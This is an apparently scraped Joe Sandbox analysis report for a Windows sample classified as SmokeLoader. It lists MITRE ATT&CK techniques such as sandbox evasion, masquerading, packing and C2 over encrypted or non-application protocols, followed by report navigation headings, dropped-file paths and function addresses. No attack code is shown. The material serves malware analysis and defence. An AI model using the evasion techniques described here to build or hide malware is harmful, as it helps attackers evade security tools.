Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Qi4Mj8hG3t.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\hehbwci

C:\Users\user\AppData\Roaming\hehbwci:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
Qi4Mj8hG3t.exe

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Function 0040156B Relevance: 10.7, APIs: 7, Instructions: 176
nativeCOMMON

Function 00401561 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Function 0040156F Relevance: 10.7, APIs: 7, Instructions: 172
nativeCOMMON

Function 00401583 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Function 00401587 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Function 00401729 Relevance: 4.7, APIs: 3, Instructions: 179
nativeCOMMON

Function 00403005 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Function 025D221F Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 0041CC80 Relevance: 21.2, APIs: 1, Strings: 11, Instructions: 227
memoryCOMMON

Function 0245003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Function 0041D9F0 Relevance: 4.6, APIs: 3, Instructions: 50
stringCOMMON

Function 02450E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Function 00401C23 Relevance: 1.7, APIs: 1, Instructions: 207
memoryCOMMON

Function 00401CCA Relevance: 1.6, APIs: 1, Instructions: 111
memoryCOMMON